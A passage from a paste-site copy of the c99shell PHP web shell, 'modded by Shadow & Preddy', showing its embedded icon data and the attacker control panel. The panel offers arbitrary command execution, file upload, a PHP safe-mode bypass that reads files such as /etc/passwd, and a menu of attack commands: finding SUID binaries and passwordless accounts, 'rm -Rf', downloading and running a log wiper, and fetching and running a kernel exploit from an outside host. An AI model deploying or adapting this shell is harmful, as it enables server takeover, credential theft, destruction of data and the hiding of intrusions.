  2840. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  2841. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2842. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2843. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2844. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  2845. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  2846. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  2847. "RYtMAgEAOw==",
  2848. "ext_cmd"=>
  2849. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  2850. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  2851. "dmrYAMn1onq/YKpjvEgAADs=",
  2852. "ext_cpp"=>
  2853. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  2854. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  2855. "Eq7YrLDE7a4SADs=",
  2856. "ext_ini"=>
  2857. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  2858. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  2859. "SnEjgPVarHEHgrB43JvszsQEADs=",
  2860. "ext_diz"=>
  2861. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  2862. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  2863. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  2864. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  2865. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  2866. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  2867. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  2868. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  2869. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2870. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2871. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2872. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2873. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2874. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2875. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  2876. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  2877. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  2878. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  2879. "Ow==",
  2880. "ext_doc"=>
  2881. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  2882. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  2883. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  2884. "ext_exe"=>
  2885. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  2886. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  2887. "xhIAOw==",
  2888. "ext_h"=>
  2889. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  2890. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  2891. "Wq/NknbbSgAAOw==",
  2892. "ext_hpp"=>
  2893. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  2894. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  2895. "UqUagnbLdZa+YFcCADs=",
  2896. "ext_htaccess"=>
  2897. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  2898. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  2899. "AAA7",
  2900. "ext_html"=>
  2901. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  2902. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  2903. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  2904. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  2905. "ADs=",
  2906. "ext_jpg"=>
  2907. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  2908. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  2909. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  2910. "FxEAOw==",
  2911. "ext_js"=>
  2912. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  2913. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  2914. "a00AjYYBbc/o9HjNniUAADs=",
  2915. "ext_lnk"=>
  2916. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  2917. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  2918. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  2919. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  2920. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  2921. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2922. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2923. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  2924. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  2925. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  2926. "ADs=",
  2927. "ext_log"=>
  2928. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  2929. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  2930. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  2931. "ext_php"=>
  2932. "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
  2933. "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
  2934. "ext_pl"=>
  2935. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  2936. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  2937. "ext_swf"=>
  2938. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  2939. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2940. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  2941. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  2942. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  2943. "ext_tar"=>
  2944. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  2945. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  2946. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  2947. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  2948. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2949. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2950. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2951. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  2952. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  2953. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  2954. "u4tLAgEAOw==",
  2955. "ext_txt"=>
  2956. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  2957. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  2958. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  2959. "ext_wri"=>
  2960. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  2961. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  2962. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  2963. "ext_xml"=>
  2964. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  2965. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2966. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  2967. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  2968. "IQA7"
  2969.  );
  2970.  //For simple size- and speed-optimization.
  2971.  $imgequals = array(
  2972.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2973.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2974.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2975.   "ext_html"=>array("ext_html","ext_htm"),
  2976.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2977.   "ext_lnk"=>array("ext_lnk","ext_url"),
  2978.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2979.   "ext_doc"=>array("ext_doc","ext_dot"),
  2980.   "ext_js"=>array("ext_js","ext_vbs"),
  2981.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2982.   "ext_wri"=>array("ext_wri","ext_rtf"),
  2983.   "ext_swf"=>array("ext_swf","ext_fla"),
  2984.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2985.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2986.  );
  2987.  if (!$getall)
  2988.  {
  2989.   header("Content-type: image/gif");
  2990.   header("Cache-control: public");
  2991.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  2992.   header("Cache-control: max-age=".(60*60*24*7));
  2993.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  2994.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  2995.   if (empty($images[$img])) {$img = "small_unk";}
  2996.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  2997.   echo base64_decode($images[$img]);
  2998.  }
  2999.  else
  3000.  {
  3001.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  3002.   natsort($images);
  3003.   $k = array_keys($images);
  3004.   echo  "<center>";
  3005.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  3006.   echo "</center>";
  3007.  }
  3008.  exit;
  3009. }
  3010. if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";}
  3011. ?>
  3012. </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  3013. <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
  3014. <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
  3015. <br>
  3016. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  3017. <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr>
  3018. <tr>
  3019.   <td width="50%" height="83" valign="top"><center>
  3020.     <div align="center">Useful Commands
  3021.     </div>
  3022.     <form action="<?php echo $surl; ?>">
  3023.       <div align="center">
  3024.         <input type=hidden name=act value="cmd">
  3025.         <input type=hidden name="d" value="<?php echo $dispd; ?>">
  3026.           <SELECT NAME="cmd">
  3027.             <OPTION VALUE="uname -a">Kernel version
  3028.               <OPTION VALUE="w">Logged in users
  3029.                 <OPTION VALUE="lastlog">Last to connect
  3030.                   <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
  3031.                     <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
  3032.                     <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
  3033.                     <OPTION VALUE="which wget curl w3m lynx">Downloaders?
  3034.                     <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
  3035.                     <OPTION VALUE="netstat -atup | grep IST">Open ports
  3036.                     <OPTION VALUE="locate gcc">gcc installed?
  3037.                     <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
  3038.                     <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
  3039.                     <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
  3040.                     <OPTION VALUE="./zap2">WIPELOGS PT3
  3041.                     <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)
  3042.                     <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)
  3043.                     <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)
  3044.                     <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)
  3045.                     <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)
  3046.                     <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)
  3047.                   </SELECT>
  3048.         <input type=hidden name="cmd_txt" value="1">
  3049.         &nbsp;
  3050.         <input type=submit name=submit value="Execute">
  3051.           <br>
  3052.         Warning. Kernel may be alerted using higher levels </div>
  3053.     </form>
  3054.     </td>
  3055.   <td width="50%" height="83" valign="top"><center>
  3056.    <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search">
  3057.       <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>">
  3058.       <input type="hidden" name="client" value="firefox-a">
  3059.       <input type="hidden" name="rls" value="org.mozilla:en-US:official">
  3060.       <input type="hidden" name="hl" value="en">
  3061.       <input type="hidden" name="hs" value="b7p">
  3062.       <input type=submit name="btnG" VALUE="Search">
  3063.     </form></center>
  3064.     </td>
  3065. </tr></TABLE><br>
  3066. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  3067. <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr>
  3068. <tr>
  3069.   <td width="50%" height="83" valign="top"><center>
  3070.     <div align="center">Php Safe-Mode Bypass (Read Files)
  3071.     </div><br>
  3072.     <form action="<?php echo $surl; ?>">
  3073.       <div align="center">
  3074.       File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br>
  3075.      
  3076.      
  3077.      
  3078.            
  3079.      
  3080.      
  3081.       <?
  3082.      
  3083.       function rsg_read()
  3084.     {  
  3085.     $test="";
  3086.     $temp=tempnam($test, "cx");
  3087.     $file=$_GET['file'];   
  3088.     $get=htmlspecialchars($file);
  3089.     echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
  3090.     if(copy("compress.zlib://".$file, $temp)){
  3091.     $fichier = fopen($temp, "r");
  3092.     $action = fread($fichier, filesize($temp));
  3093.     fclose($fichier);
  3094.     $source=htmlspecialchars($action);
  3095.     echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>";
  3096.     unlink($temp);
  3097.     } else {
  3098.     die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
  3099.     <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
  3100.     access.</CENTER></FONT>");
  3101.             }
  3102.     echo "</div>";
  3103.     }
  3104.    
  3105.     if(isset($_GET['file']))
  3106. {
  3107. rsg_read();
  3108. }
  3109.    
  3110.     ?>
  3111.    
  3112.     <?
  3113.    
  3114.     function rsg_glob()
  3115. {
  3116. $chemin=$_GET['directory'];
  3117. $files = glob("$chemin*");
  3118. echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
  3119. foreach ($files as $filename) {
  3120.     echo "<pre>";
  3121.    echo "$filename\n";
  3122.    echo "</pre>";
  3123. }
  3124. }
  3125.  
  3126. if(isset($_GET['directory']))
  3127. {
  3128. rsg_glob();
  3129. }
  3130.  
  3131. ?>
  3132.  
  3133.           <br>
  3134.       </div>
  3135.     </form>
  3136.     </td>
  3137.   <td width="50%" height="83" valign="top"><center>
  3138.    <center>Php Safe-Mode Bypass (List Directories):     <form action="<?php echo $surl; ?>">
  3139.       <div align="center"><br>
  3140.       Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br>
  3141.  
  3142.     </form></center>
  3143.     </td>
  3144. </tr></TABLE><br>
  3145. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  3146. <tr>
  3147.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
  3148.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  3149. </tr>
  3150. </table>
  3151. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
  3152. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
  3153. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> Shadow & Preddy | <a href="http://rootshell-security.net"><font color="#FF0000">RootShell Security Group</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
  3154. </body></html><?php chdir($lastdir); c99shexit(); ?>
  3155.  
Add Comment
Please, Sign In to add comment